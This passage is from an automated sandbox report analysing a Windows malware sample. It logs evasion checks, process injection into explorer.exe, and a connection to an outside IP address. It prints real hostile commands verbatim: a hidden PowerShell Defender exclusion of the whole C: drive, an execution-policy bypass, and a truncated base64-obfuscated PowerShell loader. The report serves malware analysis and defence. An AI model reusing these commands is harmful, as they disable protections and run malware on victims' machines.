Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F324.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 5720, type: MEMORYSTR

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\AppData\Roaming\gfiecjd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\gfiecjd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\gfiecjd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\gfiecjd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\gfiecjd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\gfiecjd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Memory allocated: 1FF71250000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Memory allocated: 1FF72D00000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Windows\System32\OpenWith.exe

Code function: 13_3_00007DF488BEAC1C str word ptr [eax-75h]

13_3_00007DF488BEAC1C

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Thread delayed: delay time: 180000
Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 600000
Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 600000

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2180	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1689	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4485	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5279	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7381
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2423
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 419
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 483
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 855
Source: C:\Windows\SysWOW64\explorer.exe	Window / User API: threadDelayed 363

Source: C:\Users\user\AppData\Local\Temp\F557.exe

API coverage: 3.2 %

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5968	Thread sleep count: 2180 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5968	Thread sleep count: 1689 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4952	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6524	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1216	Thread sleep count: 4485 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4832	Thread sleep count: 5279 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4816	Thread sleep time: -17524406870024063s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5584	Thread sleep count: 7381 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5584	Thread sleep count: 2423 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2232	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\explorer.exe TID: 5004	Thread sleep count: 419 > 30
Source: C:\Windows\explorer.exe TID: 6092	Thread sleep count: 483 > 30
Source: C:\Windows\explorer.exe TID: 6092	Thread sleep time: -48300s >= -30000s
Source: C:\Windows\explorer.exe TID: 5832	Thread sleep count: 288 > 30
Source: C:\Windows\explorer.exe TID: 6096	Thread sleep count: 216 > 30
Source: C:\Windows\explorer.exe TID: 5540	Thread sleep count: 191 > 30
Source: C:\Windows\explorer.exe TID: 5584	Thread sleep count: 187 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 6476	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe TID: 6352	Thread sleep time: -930000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe TID: 1628	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe TID: 7060	Thread sleep time: -360000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe TID: 6352	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 6760	Thread sleep count: 43 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 6760	Thread sleep time: -43000s >= -30000s
Source: C:\Windows\explorer.exe TID: 4296	Thread sleep count: 40 > 30
Source: C:\Windows\explorer.exe TID: 4296	Thread sleep time: -40000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 2232	Thread sleep count: 363 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 2232	Thread sleep time: -217800000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 2232	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 5416	Thread sleep count: 33 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 5416	Thread sleep time: -33000s >= -30000s
Source: C:\Windows\explorer.exe TID: 4404	Thread sleep count: 36 > 30
Source: C:\Windows\explorer.exe TID: 4404	Thread sleep time: -36000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 4120	Thread sleep count: 39 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 4120	Thread sleep time: -39000s >= -30000s

Source: C:\Users\user\Desktop\xwREqjHUEv.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Users\user\Desktop\xwREqjHUEv.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\F557.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Code function: 0_2_00405C63 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C63
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Code function: 0_2_00402910 FindFirstFileW,	0_2_00402910
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Code function: 0_2_004068B4 FindFirstFileW,FindClose,	0_2_004068B4
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_005A14DE FindFirstFileExW,	24_2_005A14DE
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030A2B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose,	25_2_030A2B15
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030A3ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose,	25_2_030A3ED9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030A1D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose,	25_2_030A1D4A

Source: C:\Windows\System32\OpenWith.exe

Code function: 13_3_00007DF488C08E20 GetLogicalDriveStringsW,

13_3_00007DF488C08E20

Source: C:\Windows\System32\OpenWith.exe

Code function: 13_3_00007DF488C67344 GetSystemInfo,

13_3_00007DF488C67344

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Thread delayed: delay time: 30000
Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 600000
Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 600000

Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: powershell.exe, 00000006.00000002.2139498659.0000000008770000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: VMware
Source: powershell.exe, 00000006.00000002.2117709095.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2139498659.0000000008770000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: VBoxTray
Source: xwREqjHUEv.exe, 00000000.00000002.2013926877.000000000063D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: wscript.exe, 00000002.00000002.2018475832.00000000035D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}yJ
Source: dialer.exe, 00000008.00000002.2179502252.0000000003408000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWLevel
Source: dialer.exe, 00000008.00000002.2179356766.0000000003394000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMCIDevSymbol
Source: dialer.exe, 00000008.00000002.2179502252.0000000003408000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000006.00000002.2139498659.0000000008770000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: powershell.exe, 00000006.00000002.2139498659.0000000008770000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: VBoxService
Source: wscript.exe, 00000002.00000002.2018475832.00000000035D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\>

Source: C:\Users\user\Desktop\xwREqjHUEv.exe

API call chain: ExitProcess graph end node

graph_0-3216

Source: C:\Users\user\AppData\Roaming\gfiecjd

System information queried: ModuleInformation

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\AppData\Roaming\gfiecjd

System information queried: CodeIntegrityInformation

Source: C:\Users\user\AppData\Roaming\gfiecjd

Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe

Code function: 14_2_000001FF7102DCA8 LdrLoadDll,

14_2_000001FF7102DCA8

Source: C:\Users\user\AppData\Local\Temp\F557.exe

Code function: 24_2_0059A4ED IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

24_2_0059A4ED

Source: C:\Users\user\AppData\Local\Temp\F557.exe

Code function: 24_2_0058FA0A LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

24_2_0058FA0A

Source: C:\Windows\SysWOW64\dialer.exe	Code function: 8_3_032A027F mov eax, dword ptr fs:[00000030h]	8_3_032A027F
Source: C:\Users\user\AppData\Local\Temp\F324.exe	Code function: 23_3_00427277 mov eax, dword ptr fs:[00000030h]	23_3_00427277
Source: C:\Users\user\AppData\Local\Temp\F324.exe	Code function: 23_2_00427277 mov eax, dword ptr fs:[00000030h]	23_2_00427277
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_0059DC12 mov eax, dword ptr fs:[00000030h]	24_2_0059DC12
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_00599F9B mov eax, dword ptr fs:[00000030h]	24_2_00599F9B

Source: C:\Users\user\AppData\Local\Temp\F324.exe

Code function: 23_2_0040170C HeapCreate,HeapAlloc,HeapAlloc,GetModuleHandleA,HeapAlloc,CreateEventA,memcpy,HeapAlloc,memcpy,GetProcessHeap,RtlAllocateHeap,memcpy,GetProcessHeap,HeapAlloc,memcpy,memcpy,HeapFree,WaitForSingleObject,FindCloseChangeNotification,VirtualFree,GetProcessHeap,HeapFree,HeapDestroy,

23_2_0040170C

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\System32\OpenWith.exe	Code function: 13_2_0000024AB87F1A90 NtAcceptConnectPort,NtAcceptConnectPort,RtlAddVectoredExceptionHandler,	13_2_0000024AB87F1A90
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_0059A4ED IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_0059A4ED
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_0058162A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_0058162A
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_00580C5C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	24_2_00580C5C

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: gfiecjd.21.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\explorer.exe

Network Connect: 185.196.8.137 80

Yara detected Powershell dedcode and execute

Source: Yara match	File source: amsi32_5720.amsi.csv, type: OTHER
Source: Yara match	File source: C:\Users\user\UndLdl.ps1, type: DROPPED

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\UndLdl.ps1"

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\F557.exe

Code function: 24_2_00566990 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,

24_2_00566990

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Thread created: C:\Windows\explorer.exe EIP: 1121950
Source: C:\Users\user\AppData\Roaming\gfiecjd	Thread created: unknown EIP: 11E1950

Encrypted powershell cmdline option found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded Q1\|
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded Q1\|			Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\explorer.exe	Memory written: PID: 5084 base: 9079C0 value: 90
Source: C:\Windows\explorer.exe	Memory written: PID: 2300 base: 7FF6747E2D10 value: 90
Source: C:\Windows\explorer.exe	Memory written: PID: 748 base: 9079C0 value: 90
Source: C:\Windows\explorer.exe	Memory written: PID: 5380 base: 9079C0 value: 90
Source: C:\Windows\explorer.exe	Memory written: PID: 7044 base: 7FF6747E2D10 value: 90
Source: C:\Windows\explorer.exe	Memory written: PID: 6756 base: 9079C0 value: 90
Source: C:\Windows\explorer.exe	Memory written: PID: 3172 base: 9079C0 value: 90
Source: C:\Windows\explorer.exe	Memory written: PID: 3660 base: 7FF6747E2D10 value: 90
Source: C:\Windows\explorer.exe	Memory written: PID: 3688 base: 9079C0 value: 90

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read
Source: C:\Users\user\AppData\Roaming\gfiecjd	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Roaming\gfiecjd	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read

Writes to foreign memory regions

Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9079C0
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9079C0
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9079C0
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9079C0
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9079C0
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9079C0

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\temp.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0c